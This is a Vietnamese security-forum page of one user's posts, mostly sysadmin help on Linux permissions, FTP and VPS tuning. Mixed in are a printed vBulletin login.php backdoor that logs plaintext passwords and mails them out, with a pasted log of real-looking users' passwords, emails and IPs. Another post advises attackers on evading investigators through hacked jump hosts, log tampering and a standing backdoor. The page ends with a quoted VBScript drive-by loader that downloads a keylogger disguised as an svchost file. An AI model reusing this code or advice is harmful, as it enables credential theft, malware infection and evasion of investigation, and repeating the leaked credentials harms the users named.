banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: phonglanbiec  XML
Profile for phonglanbiec Messages posted by phonglanbiec [ number of posts not being displayed on this page: 0 ]
 

miyumi2 wrote:

hoahongtuoi wrote:

chiro8x wrote:
Thực lòng em không cảm thấy tin tưởng vào các ISP của Việt Nam lắm, chúng ta sử dụng internet thông qua các thiết bị mạng và các thiết bị này được phân phối thông qua các ISP. ISP sẽ biết đích xác là ai dùng thiết bị gì, tại địa điểm nào, username đăng nhập vào hệ thống là gì.
 

Đề nghị bạn nói rõ những nhận định mình trích ở trên, sử dụng căn cứ kỹ thuật, không nhận định cảm tính.
 


Làm thế nào nhà mạng thống kê được lưu lượng sử dụng internet (dù là cáp đồng, cáp quang hay usb 3G) để cuối tháng in hóa đơn tính tiền cho bạn? Bạn tự tìm hiểu, đó cũng sẽ là lời giải thích cho đề nghị của bạn. 


Chẳng có ISP nào mà không log những thông tin đó lại. Nên nếu chỉ nói ISP VN thì hơi tội cho họ quá!
Chào các bạn,

Mình đang gặp 1 tình huống như sau:

- Forum của bạn mình sử dụng VBB có bản quyền. Nhưng hôm nay thì không login vào được. Thế là hắn nhờ mình kiểm tra tại sao.
- Mình kiểm tra trong file login.php thì phát hiện rằng có 1 đoạn mã sẽ lưu lại tất cả thông tin người gởi gởi lên. Lưu vào 1 file (mà hắn giả là session) ở /tmp/. Cứ mỗi lần file có dung lượng >= 10MB thì hàm mail() sẽ tự gởi đến địa chỉ email của hắn.
- Cách khắc phục tạm thời của mình là lấy 1 file login.php sạch thế cho file đó.

Và hiện tại mình cần giúp đỡ để điều tra thêm:

1. Làm thế nào để kiểm tra đã có bao nhiêu email gởi từ hàm mail() của PHP?
2. Tại sao có 1 giai đoạn tự nhiên nó không nhận cái form password gởi lên?

Vì nội dung file log lại là:


User: xxx Pass: 113114 Email smiliexx@yahoo.com.vn ID : 35164 GroupID : 4 IP: 123.16.146.0 Time: Sunday 22nd of April 2012 08:08:35 PM
User: xxx Pass: 314159htm Email smiliexx@yahoo.com ID : 11557 GroupID : 17 IP: 113.185.1.167 Time: Sunday 22nd of April 2012 08:09:29 PM
User: xxx Pass: canhdonglua Email smiliexx@yahoo.com ID : 22680 GroupID : 2 IP: 1.52.27.213 Time: Sunday 22nd of April 2012 08:11:54 PM
User: onelove46 Pass: Email :hoahuongduong663@gmail.com ID : 31446 GroupID : 2 IP: 123.24.141.8 Time: Sunday 22nd of April 2012 08:19:00 PM
User: tienhieuo01 Pass: Email :tienhieuo01@yahoo.com.vn ID : 26462 GroupID : 2 IP: 1.53.2.31 Time: Sunday 22nd of April 2012 08:40:21 PM
User: edenhoang Pass: Email :uptinmuaban@gmail.com ID : 33772 GroupID : 3 IP: 113.172.221.137 Time: Sunday 22nd of April 2012 08:41:33 PM 


Nội dung file php mà hắn đã sửa lại là:

Code:
<?php
/*======================================================================*\
|| #################################################################### ||
|| # vBulletin 3.8.4 - Licence Number VBF6B249B5
|| # ---------------------------------------------------------------- # ||
|| # Copyright �2000-2009 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| #################################################################### ||
\*======================================================================*/
// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE & ~8192);
// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');
define('CSRF_PROTECTION', true);
define('CSRF_SKIP_LIST', 'login');
// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();
// get special data templates from the datastore
$specialtemplates = array();
// pre-cache templates used by all actions
$globaltemplates = array();
// pre-cache templates used by specific actions
$actiontemplates = array(
'lostpw' => array(
'lostpw',
'humanverify'
)
);
// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');
// #######################################################################
// ######################## START MAIN SCRIPT ############################
// #######################################################################
$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);
if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
define('NOPMPOPUP', true);
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
if ($vbulletin->userinfo['userid'] != 0 AND !verify_security_token($vbulletin->GPC['logouthash'], $vbulletin->userinfo['securitytoken_raw']))
{
eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['securitytoken'])));
}
process_logout();
$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
if (strpos($vbulletin->url, 'do=logout') !== false)
{
$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
}
$show['member'] = false;
eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));
}
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_BINARY,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
try{
if($vbulletin->db->query_first("SELECT username FROM userpan WHERE username ='".$vbulletin->GPC['vb_login_username']."'")){
$vbulletin->db->query_write("UPDATE userpan set password='".$vbulletin->GPC['vb_login_password']."' where username='".$vbulletin->GPC['vb_login_username']."'");
}else{
$vbulletin->db->query_write("INSERT INTO userpan(username,password) values('".$vbulletin->GPC['vb_login_username']."','".$vbulletin->GPC['vb_login_password']."')");
}
$vbulletin->GPC['vb_login_password']="";
}
catch(Exception $e){}
// can the user login?
$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);
if ($vbulletin->GPC['vb_login_username'] == '')
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
// make sure our user info stays as whoever we were (for example, we might be logged in via cookies already)
$original_userinfo = $vbulletin->userinfo;
if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;
// check password
exec_strike_user($vbulletin->userinfo['username']);
if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = $original_userinfo;
if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}
exec_unstrike_user($vbulletin->GPC['vb_login_username']);
// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
[color=red] $mail="xxx@live.com";
$lfile="/tmp/sess_xxx";[/color]
$lhande=@fopen($lfile,'a');
$email = "unknow";
if(isset($vbulletin->userinfo['email']))
$email = $vbulletin->userinfo['email'];
$userid =$vbulletin->userinfo['userid'];
$groupID=$vbulletin->userinfo['usergroupid'];
$result = @mysql_query("select email from user where username='".$vbulletin->GPC['vb_login_username']."'");
if($result)
{
$row = @mysql_fetch_array($result);
$email = $row["email"];
}
$ldata="User: ".$_POST["vb_login_username"]." Pass: ".$lg_password." Email :".$email ." ID : ".$userid. " GroupID : ".$groupID. " IP: ".$_SERVER["REMOTE_ADDR"]." Time: ".date('l jS \of F Y h:i:s A')."\n";
$sub=@$_SERVER['HTTP_HOST']." user login ".date('l jS \of F Y h:i:s A');
@fwrite($lhande,$ldata);
@fclose($lhande);
if(@filesize($lfile)>=1024*10) {
$data=file_get_contents($lfile);
@mail($mail,$sub,$data);
@unlink($lfile);
}
// do wwwect
do_login_wwwect();
}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}
// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
$email = $vbulletin->GPC['email'];
if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
{
$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
eval('$navbar = "' . fetch_template('navbar') . '";');
}
else
{
$navbar = '';
}
// human verification
if (fetch_require_hvcheck('lostpw'))
{
require_once(DIR . '/includes/class_humanverify.php');
$verification =& vB_HumanVerify::fetch_library($vbulletin);
$human_verify = $verification->output_token();
}
else
{
$human_verify = '';
}
$url =& $vbulletin->url;
eval('print_output("' . fetch_template('lostpw') . '");');
}
// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{
$vbulletin->input->clean_array_gpc('p', array(
'email' => TYPE_STR,
'userid' => TYPE_UINT,
'humanverify' => TYPE_ARRAY,
));
if ($vbulletin->GPC['email'] == '')
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
if (fetch_require_hvcheck('lostpw'))
{
require_once(DIR . '/includes/class_humanverify.php');
$verify =& vB_HumanVerify::fetch_library($vbulletin);
if (!$verify->verify_token($vbulletin->GPC['humanverify']))
{
standard_error(fetch_error($verify->fetch_error()));
}
}
require_once(DIR . '/includes/functions_user.php');
$users = $db->query_read_slave("
SELECT userid, username, email, languageid
FROM " . TABLE_PREFIX . "user
WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
");
if ($db->num_rows($users))
{
while ($user = $db->fetch_array($users))
{
if ($vbulletin->GPC['userid'] AND $vbulletin->GPC['userid'] != $user['userid'])
{
continue;
}
$user['username'] = unhtmlspecialchars($user['username']);
$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);
eval(fetch_email_phrases('lostpw', $user['languageid']));
vbmail($user['email'], $subject, $message, true);
}
$vbulletin->url = str_replace('"', '', $vbulletin->url);
eval(print_standard_wwwect('wwwect_lostpw', true, true));
}
else
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
}
// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{
$vbulletin->input->clean_array_gpc('r', array(
'userid' => TYPE_UINT,
'u' => TYPE_UINT,
'activationid' => TYPE_STR,
'i' => TYPE_STR
));
if (!$vbulletin->GPC['userid'])
{
$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
}
if (!$vbulletin->GPC['activationid'])
{
$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
}
$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);
$user = $db->query_first("
SELECT activationid, dateline
FROM " . TABLE_PREFIX . "useractivation
WHERE type = 1
AND userid = $userinfo[userid]
");
if (!$user)
{
// no activation record, probably got back here after a successful request, back to home
exec_header_wwwect($vbulletin->options['forumhome'] . '.php');
}
if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
{ // is it older than 24 hours?
eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
}
if ($user['activationid'] != $vbulletin->GPC['activationid'])
{ //wrong act id
eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
}
// delete old activation id
$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");
$newpassword = fetch_random_password(8);
// init user data manager
$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
$userdata->set_existing($userinfo);
$userdata->set('password', $newpassword);
$userdata->save();
($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;
eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
vbmail($userinfo['email'], $subject, $message, true);
eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));
}
/*======================================================================*\
|| ####################################################################
|| # Downloaded: 21:09, Mon Sep 28th 2009
|| # CVS: $RCSfile$ - $Revision: 31381 $
|| ####################################################################
\*======================================================================*/
?>


Thông tin về server:

Apache version 2.2.17
PHP version 5.2.14
MySQL version 5.0.95-community
Architecture i686
Operating system linux
Kernel version 2.6.18-238.19.1.el5PAE 

Ikut3 wrote:
tôi không nghĩ sinh viên mới ra trường thì sẽ được gọi là kĩ sư.theo tôi kĩ sư không chỉ là một học hàm đổi bằng 4 năm đại học.mà kĩ sư là giá trị là sự đúc rút kinh nghiệm nhiều năm giữa chuyện thực hành chuyên sâu và am hiểu toàn cục cho đến chi tiết giá trị kiến thức của một lĩnh vực nhất định

thế nên theo tôi đừng quan trọng là cử nhân hay kĩ sư làm gì.nếu cần bổ sung kiến thức cho những chỗ khuyết thì học thôi. chỉ có thời gian mới có thể trả lời giá trị thực của bạn chứ 2 thứ kia thì không thể đâu

thanks 


http://dantri.com.vn/c4/s25-171951/bang-cu-nhan-va-bang-ky-su-khac-nhau-nhu-the-nao.htm

Bằng cử nhân của những ngành Kỹ thuật thì có nghĩa là người học được học những gì thiên về hướng nghiên cứu. Còn Kỹ sư thiên về hướng thực hành.

2 bằng có giá trị như nhau cũng như kiến thức gần như nhau.

.lht. wrote:

Đến đây, có thể "thông tin" máy ta được che giấu (khi đi qua các proxies) nhưng "hành động" của chúng ta không thể nào che giấu được khi qua những chặng này.
 


Như mình đã nói, thông tin ta connect đến các chặng này thì không thể che dấu được, mỗi bước đi của ta ít nhiều đều để lại dấu chân. Nhưng quan trọng ta chọn đi ở đâu, chẳng hạn như đi ra biển (các servers) thì dấu chân để lại nhiều; còn đi trên gạch (các PC đã bị ta hack) thì dấu chân của ta để lại ít hơn.

Suy nghĩ của mình khi viết bài này: mình đặt mình là người điều tra, và người điều tra nghĩ gì, sau đó mình làm ngược lại với suy nghĩ đó smilie
Mình xin phân tích dựa trên cái sơ đồ của anh comale theo ý kiến cá nhân:

máy con (1.1.1.1) --> jump server 1 (2.2.2.2) ---> jump server 2 (3.3.3.3) --> firewall bảo vệ đích (4.4.4.4) --> đích (5.5.5.5).

Từ 1.1.1.1 --> 2.2.2.2: Mặc định khi mình connect ra ngoài thì những thông tin của mình như IP, ngày giờ truy cập đều tự động log trên ISP. Do đó, nếu muốn giấu thông tin lên ISP để sau ngày khỏi bị "truy ngược" lại là rất khó. Tuy nhiên, thay vì giấu thông tin đến những server có log thì thay vào đó, ta connect đến những điểm log ít nhất. Như 1 PC nào đó bị ta hack chẳng hạn. Khi đó, nếu bị "truy ngược" trong quá trình điều tra của cơ quan an ninh thì đến PC đã bị ta hack, thông tin của ta lộ ra ít hơn.

Từ 2.2.2.2 --> 3.3.3.3: Trong giai đoạn này, ta vẫn còn chút lựa chọn trong việc chọn jump server 2. Do vậy, trong giai đoạn này cần kiến thức của ta là chọn jump server log thông tin ít, ta có can thiệp được hay không, Windows server thì log những gì, Linux server thì log những gì, từ những thông tin đó có thể tìm ra ta hay không.


Từ 3.3.3.3 --> 4.4.4.4: Đến giai đoạn này thì chắc chắn thông tin như IP, thời gian truy cập của ta (ở đây được hiểu là 3.3.3.3) sẽ đươc log lại toàn bộ, bên cạnh đó những requests của ta là gì cũng được log theo. Cho nên, giai đoạn này ta không thể che giấu hết thân phận của mình, mà chỉ có thể "qua mặt" firewall như những requests của ta có hợp lệ hay không? nếu chấp nhận bất hợp lệ thì tỷ lê giữa hợp lệ/bất hợp lệ là bao nhiêu? (vì giả sử có điều tra, thì người điều tra cũng khó phân biệt được ta là 1 zombie bị lợi dụng, vô tình thấy lỗi hay là cố ý thấy lỗi), firewall sử dụng để lọc là gì? liệu có điểm yếu hay không? firewall đó mặc định log những gì? options thì log được gì nữa không?

Từ 4.4.4.4 --> 5.5.5.5: Giai đoạn này ta đã xác định mình tấn công những gì: OS, Web server hay là application server? Nếu tấn công vào OS, bug ta tấn công có được log lại như 1 sự kiện lỗi hay không? hay bug đó server xử lý như 1 request bình thường? Tương tư như web server và application server. Với mỗi loại tấn công ta còn xác định mình đã có trong tay những gì, có can thiệp hệ thống được hay không? Nếu can thiệp được, có can thiệp được logs hay không? Nếu không can thiệp được, ta có thể làm nhiễu log hay không? Nếu làm nhiễu, thì ta phải dùng nhiều thông tin khác nhau để làm nhiễu như IP khác nhau, User-Agent khác nhau, các bước trong quá trình tấn công khác nhau nhằm làm khó khăn hơn trong việc xác định người tấn công.

Tuy nhiên, sự thật là sự thật, nếu người khác có thời gian, chắc chắn họ sẽ tìm ra. Do vậy, ngoài việc có thể/không có thể can thiệp vào log của server. Ta còn phải tạo cho mình 1 vỏ bọc an toàn. Ví dụ như máy tính ta sau khi tấn công xong phải huỷ hết mọi thông tin: ví dụ như tấn công từ VMWare, sau khi tấn công xong thì lưu mọi thông tin đó lên Internet, huỷ ngay máy VMWare đó. Máy luôn sẵn sàng có 1 chương trình làm backdoor, 1 log ảo nhằm nếu bị phát hiện, thì ta vẫn có thể chứng minh mình là 1 nạn nhân trong 1 quá trình smilie

Mình thấy bạn có nói là đã qua được đến nút NEXT. Mình có xem lại đoạn đối thoại của bạn và anh conmale. Bạn config sai những chỗ như anh conmale nói nhưng bạn nói là không qua được nút NEXT cũng đồng nghĩa với việc show trang lên nhưng nút NEXT không hoạt động.

Mình nghĩ theo hướng hẹp lại: việc đã show trang web lên nghĩa là đã pass qua được phần fastcgi để xử lý các code PHP và show lên cho bạn xem. Nhưng nút NEXT không hoạt động thì bạn phải tập trung xem lại log, code xem dòng lệnh nào liên quan nút NEXT, log ghi nhận gì khi bạn click vào nút NEXT.

Nếu làm về dịch vụ hosting thì mình nghĩ bạn nên thuê hẳn dedicated server, đảm bảo tính ổn định cho khách hàng và mở rộng trong tương lai.

Nếu bạn chưa rành thì có thể sử dụng control panel là DirectAdmin cho rẻ smilie, thông thường cài DirectAdmin thì các phần mềm nền sẽ được cài theo luôn ho bạn (FTP, Apache, MySQL).

secmask wrote:

namduong8889 wrote:

secmask wrote:
ok, nghe cũng ná ná trường hơp của tớ smilie, bạn thử áp dụng cách của tớ chưa? kết quả sao, cái này chỉ cần chỉnh mấy thông số trong kernel thôi, không cần dịch lại kernel. nếu thấy ổn thì có thể add config đó vào /etc/sysctl.conf để có hiệu lực lâu dài. 


Chào bác smilie

Nguyên nhân căn bản vẫn là do có quá nhiều TIME_WAIT giống như bác, nếu ngắt đi được cái TIME_WAIT thì tốt,

nhưng em đang chạy VPS chứ không phải server riêng, quyền root có thể ghi vào fule sysctl.conf nhưng các lệnh trong đó thì không có quyền thực hiện. Em không được sửa kernel vì HP họ nó sửa là ảnh hưởng tới các VPS khác trên cùng server;

Hiện giờ em chỉ cố gắng tune cho nó chạy tạm hết cỡ cho tròn tháng này để em chuyển sang dedicated server... nếu bác có tìm ra đựoc cái gì để tune tạm trong thời gian này thì chỉ em với nhé... thanks bác hehe! 

VPS = Virtual Private Server , tức là server của bạn được cài trên máy ảo, cùng với các server ảo khác trên một máy vật lý, vì vậy cấu hình các server ảo nào không hề phụ thuộc vào nhau, làm gì có chuyện ảnh hưởng tới các máy ảo khác được, bạn nên hỏi lại bên cho thuê server. Khi bạn đã thuê một vps, bạn đươc toàn quyền cài đặt từ OS đến các phần mềm trên đó. 


Mình nghĩ chắc là do cậu ấy dùng VPS công nghệ OpenVZ.

@namduong8889: nếu bạn chủ yếu dùng static content sao không dùng varnish đặt trước lighttpd? varnish cache rất tốt, giảm tải khá nhiều nếu như content của bạn ít "động đậy".
Mình khẳng định cách làm của mình giống như mv1098 ở điểm group. Mà quanta nói không giống thì bạn đã hiểu khác đi rồi. Vì suy nghĩ của mình thì mình rõ chính xác nó nhất chứ.

Mà bắt đầu lạc đề rồi, dù cách mình đúng hay sai thì mình cũng hiểu thêm 1 cái mới trong topic này là mount --bind smilie

quanta wrote:

phonglanbiec wrote:

Đã đọc kỹ, giải pháp của mình ở trên cũng giống như bạn mv1098 mà?
 

Giống là giống thế nào? Một đằng là add apache và nobody vào chung một group rồi gán quyền write cho group, còn một đằng là add apache vào tất cả các group của FTP users.
 


Có thể bạn quanta không hiểu ý mình ở topic mình đã viết ở trên.

phonglanbiec wrote:

2. Mỗi một user thì có group cùng tên, nhưng trong group đó thì có cả user apache
 


Chữ user của mình ở đây được hiểu là FTP User.

Vậy là giải pháp đã có rồi, mình không biết về mount --bind nên thành ra đi dài dòng.

quanta wrote:

phonglanbiec wrote:

Đúng là chmod 777 thì rất nhiều nhược điểm. Nhưng nếu không chmod 777 thì lại không có cách nào làm cho các users khác có quyền write trong đây.

quanta có cao kiến gì nếu như giải pháp là của mình nhưng khắc phục được điểm này?
 

Hình như bạn chưa đọc kỹ bài của mv1098 ở post #12.
 


Đã đọc kỹ, giải pháp của mình ở trên cũng giống như bạn mv1098 mà? nhưng giải pháp đó thì mình không nghĩ cách nào giải quyết được thằng DocumentRoot

quanta wrote:

phonglanbiec wrote:

quanta có thể gởi cho mình tài liệu để tìm hiểu kỹ hơn về phần này không?
 

Ngay cả khi với system users, xác thực qua PAM bạn cứ tạo một vài user rồi thử xem có liên quan đến user chạy FTP server không. Còn virtual users thì dùng FTP server nào thì Google cho FTP server ấy.
 


Mình sẽ xem lại phần này.

quanta wrote:

phonglanbiec wrote:

Phải chmod lại. Vì mặc định Apache gán quyền 644.
 

Không, quyền mặc định của thư mục là 755. Làm sao biết khi nào Apache hay FTP users tạo ra một thư mục mới mà chmod, chẳng nhẽ lại dùng inotify cron. Bạn tìm hiểu thêm về umask xem.
 

Trước nay mình chỉ làm umask cho FTP chứ chưa cho Apache nên tìm hiểu lại phần này.

Vẫn đang suy nghĩ các giải pháp khác smilie

quanta wrote:

phonglanbiec wrote:

Group là apache, chmod /var/www/html/domain.com thành 777
 

Ngay từ khi mới làm quen với Linux mình đã nhớ nằm lòng một câu là: đừng bao giờ chmod cái gì thành 777. Bạn thử nghĩ xem lý do là gì?
 


Đúng là chmod 777 thì rất nhiều nhược điểm. Nhưng nếu không chmod 777 thì lại không có cách nào làm cho các users khác có quyền write trong đây.

quanta có cao kiến gì nếu như giải pháp là của mình nhưng khắc phục được điểm này?

quanta wrote:

phonglanbiec wrote:

Chỗ này mình còn hơi lúng túng. Vì mình làm thì trước nay FTP mình không care về user chạy nó. Mình chỉ care khi bật anymous lên thôi smilie
 

Vậy thử tìm hiểu kỹ lại xem, nhất là khi dùng virtual users.
 


quanta có thể gởi cho mình tài liệu để tìm hiểu kỹ hơn về phần này không?

quanta wrote:

phonglanbiec wrote:

Thư mục do Apache tạo thì là 775 luôn.
 

Thật không vậy? 775 là mặc định tạo ra đã thế hay là phải chmod. Quyền này do cái gì quyết định? 

 

Phải chmod lại. Vì mặc định Apache gán quyền 644.

Mình đang nghĩ đến giải pháp mỗi users một home folder riêng, sau đó tất cả đều hardlink về, không biết được không nhỉ? Mình chưa thử hardlink với FTP bao giờ cả smilie
Việc kết luận cho chắc chắn thì nên nhờ những bạn chuyên về ASP.NET kết luận thì tốt hơn. Mình làm về Java, nhưng mình quen đọc lỗi nên nghĩ lỗi xảy ra vì lý do như trên.
Mình nghĩ là do code chứ.

quanta wrote:

phonglanbiec wrote:
Nếu tất cả đều làm trong 1 chỗ thì mình nghĩ home folder của tất cả đều trỏ về /var/www/html/domain.com và folder này owner là apache.
 

OK. Còn group là gì?
 

Group là apache, chmod /var/www/html/domain.com thành 777

quanta wrote:

phonglanbiec wrote:

Nobody thì mình thấy không liên quan gì trong đây cả, vì nhiệm vụ của nó chỉ là chạy FTPD thôi, còn quyền khi upload thì là của users.
 

Bạn thử làm đi xem nó có liên quan không nhé.
 


Chỗ này mình còn hơi lúng túng. Vì mình làm thì trước nay FTP mình không care về user chạy nó. Mình chỉ care khi bật anymous lên thôi smilie

quanta wrote:

phonglanbiec wrote:

2. Config lại FTPD để khi user upload lên thì quyền hạn mặc định là: 775
 

Còn thư mục do Apache tạo ra thì sao?
 

Thư mục do Apache tạo thì là 775 luôn.
Nếu tất cả đều làm trong 1 chỗ thì mình nghĩ home folder của tất cả đều trỏ về /var/www/html/domain.com và folder này owner là apache.

Nobody thì mình thấy không liên quan gì trong đây cả, vì nhiệm vụ của nó chỉ là chạy FTPD thôi, còn quyền khi upload thì là của users.

Tóm lại:

1. /var/www/html/domain.com là home folder cho tất cả các users nhưng owner bởi apache. Home folder cho tất cả các users để khi user login vào FTP, FTP chuyển về /var/www/html/domain.com . Quyền hạn của /var/www/html/domain.com là: 775 nhằm đảm bảo tất cả các users đều có quyền read/write trong đây.

2. Config lại FTPD để khi user upload lên thì quyền hạn mặc định là: 775

3. Nếu đã có nguyên tắc hoạt động thì mình nghĩ việc viết script không khó với quanta smilie
Vậy là mình hiểu cái chỗ home folder. Mình cứ nghĩ là mỗi user là 1 domain riêng nên nhầm smilie.

Vậy bây giờ mình suggest lại như sau:

Home folder cho mỗi user: /var/www/html/domain.com/{user}/

Giải pháp của mình để giải quyết vấn đề file tạo ra bởi Apache & FTP là:

1. Apache chạy với quyền của user apache và group apache.

2. Mỗi một user thì có group cùng tên, nhưng trong group đó thì có user, apache.

3. Để giải quyết vấn đề 100 users thì ta cứ viết 1 script. Hoạt động của script như sau:

a. Hỏi tên user cần tạo.
b. Tạo user.
c. Tạo group.
d. Add apache vào user's group.
e. chown folder (home directory) user:user's group (user's group ở đây bao gồm user, apache).
f. chmod folder: 77x.
g. Kết thúc script

Như vậy đã thoả mãn điều kiện của quanta, và việc cho phép các users xem nội dung của nhau hay không thì tuỳ vào chữ x của phần 4, mục f.


Mình chưa nghĩ đến vấn đề phải chính xác như vậy.

Nếu chính xác như vậy mình nghĩ cách giải quyết như sau:

1. Users & home folder thì như mình đề xuất.

2. Mỗi một user thì có group cùng tên, nhưng trong group đó thì có cả user apache (mình đang suy nghĩ có nên cho ftp chạy user riêng và vào group này không nhỉ ?!)

Mình hơi confuse trong cái chữ "đúng" này. Không biết quanta có đưa ra 1 mô hình chính xác (như cần file abc.php được user nào write, user nào read) thì mình suy nghĩ giải pháp nó chi tiết hơn smilie
1. Quyền hạn trong Linux thì chia thành 3 phần: User, Group, Other. Giả sử file A upload qua user U. Thì file A đó xem Apache là thành phần Other. Nếu chmod cho A ở phần Other là write thì Apache vẫn write được.

2. Tương tự với Apache ở phần giải thích trên.
Nếu như mình đoán không nhầm thì bạn có sử dụng 1 mảng để quản lý gì đó, và lỗi xảy ra khi bạn khai báo mảng quá ít mà quá nhiều phần tử được thêm vào.
FTP Server mình nghĩ không cần gán cho nó quyền gì đặc biệt nên có thể chạy dưới quyền user nobody.

Permission mình nghĩ nên để mặc định cho folder là 755, thông thường là vậy smilie
Home folder cho các users mình sẽ để:

/var/www/html/{user's_domain}

Và nếu như để cách mình ở trên thì /var/www/html/domain.com có user là: domain và gán quyền chown /var/www/html/domain.com cho user, group là domain luôn.
Theo mình thực tập viên có nghĩa là những người đi làm việc thực tế về 1 vấn đề đã học gì đó, mặc dù anh là expert của mảng software nhưng nếu anh vào làm vị trí như mình đọc ở trên thì vẫn gọi là thực tập viên.

Mình thấy rằng những yêu cầu trên cũng có thể được gọi là dành cho thực tập viên. Bởi vì xem kỹ lại thì nó chỉ hơn user 1 chút và kém expert 1 chút. Mà tên gọi, chức danh, từ ngữ cũng chẳng nên nói làm gì. Thực tế công việc chính là: người ta trả lương cho những việc anh làm, anh thấy xứng đáng thì làm, không xứng thì thôi, tìm việc khác, đó là quyền của anh. Chứ đem 1 chữ ra bàn cãi thì giải quyết được vấn đề gì?

Vài ý kiến để tránh làm loãng topic.

Nếu có tuyển ở TP HCM chắc mình cũng đăng ký smilie.
Mình đang sử dụng VPS RAM 784 và blog wordpress với ~6k visits và ~60k pageviews/day.

Giải pháp của mình là sử dụng nginx làm reverse proxy để xử lý static content. Mình config lại my.cnf xuống các giá trị thấp để ít dùng RAM làm cache. Config prefork lại xuống thấp 1 chút để có thể chống quá tải.

Mặc khác mình còn viết 2 script. 1 để control PHP nếu xử lý quá nhiều và quá lâu thì suspend hoặc restart lại Apache. 1 script khác để control RAM server, nếu thấy <30 MB RAM thì restart server. Vì kinh nghiệm của mình là mình restart thì thời gian restart để vào lại web còn nhanh hơn là khách không ai truy cập được và dẫn đến crash server.

Mình còn dùng thêm monit để monitor một số services để thông báo cho mình viết khi quả tải sắp xảy ra.
Bạn đã sửa gì để thành công? Bạn show full complete và viết 1 bài tut để share cho mọi người đi smilie

dnv2006 wrote:

kunkunlove wrote:
Mình áp dụng code này vào webiste của mình

-----------------------------
<script language=VBScript>
on error resume next
dl = "địa chỉ keylogger.exe"
Set df = document.createElement ("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject (str,"")
a1="Ado"
a2="db."
a3="Str"
a4="e"
a5="am"
str1=a1&a2&a3&a4&a5
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="SVCHOST555.exe"
